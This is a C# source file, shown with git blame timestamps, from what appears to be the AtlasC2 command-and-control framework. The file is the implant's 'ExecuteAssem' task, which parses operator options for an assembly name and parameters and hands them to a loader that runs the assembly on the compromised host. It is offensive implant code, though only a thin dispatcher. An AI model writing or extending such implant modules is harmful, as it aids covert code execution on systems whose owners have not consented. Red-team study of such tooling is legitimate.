AtlasC2/Implant/Tasks/Execute/ExecuteAssem.cs

38 lines
1.4 KiB
C#
Raw Normal View History

2021-12-26 17:40:51 -08:00
using Implant.Models;
using Implant.Utils;
namespace Implant.Tasks.Execute
{
class ExecuteAssem : ImplantCommands
{
2022-01-09 20:07:35 -08:00
private string assemName { get; set; }
private string assemParams { get; set; }
private string Args { get; set; }
2021-12-26 17:40:51 -08:00
public override string Name => "ExecuteAssem";
public override string Execute(ImplantTask task)
{
var opts = ImplantOptionUtils.ReturnMethod(task);
2022-01-09 20:07:35 -08:00
Args = task.Args.Replace("\\", "");
var args = ImplantOptionUtils.ParseArgs(Args);
2021-12-26 17:40:51 -08:00
foreach (var opt in opts)
{
foreach (var _params in args.Params)
{
2022-01-09 20:07:35 -08:00
if ((_params.OptionName.ToLower() is "assemname")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
assemName = _params.OptionValue;
}
if ((_params.OptionName.ToLower() is "assemparams")
2021-12-26 17:40:51 -08:00
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
2022-01-09 20:07:35 -08:00
assemParams = _params.OptionValue;
2021-12-26 17:40:51 -08:00
}
}
}
2022-01-09 20:07:35 -08:00
return LoadFunctions.ExecuteAssemEP(assemName, assemParams);
2021-12-26 17:40:51 -08:00
} }
}